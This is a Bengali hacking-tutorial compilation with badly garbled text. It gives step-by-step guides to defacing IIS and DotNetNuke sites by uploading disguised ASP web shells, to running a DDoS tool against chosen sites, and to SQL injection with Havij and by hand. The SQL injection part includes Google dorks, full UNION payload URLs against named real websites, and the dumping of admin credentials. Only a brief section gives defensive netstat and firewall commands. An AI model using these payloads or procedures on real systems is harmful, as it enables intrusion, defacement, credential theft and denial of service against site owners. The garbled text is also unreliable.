সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

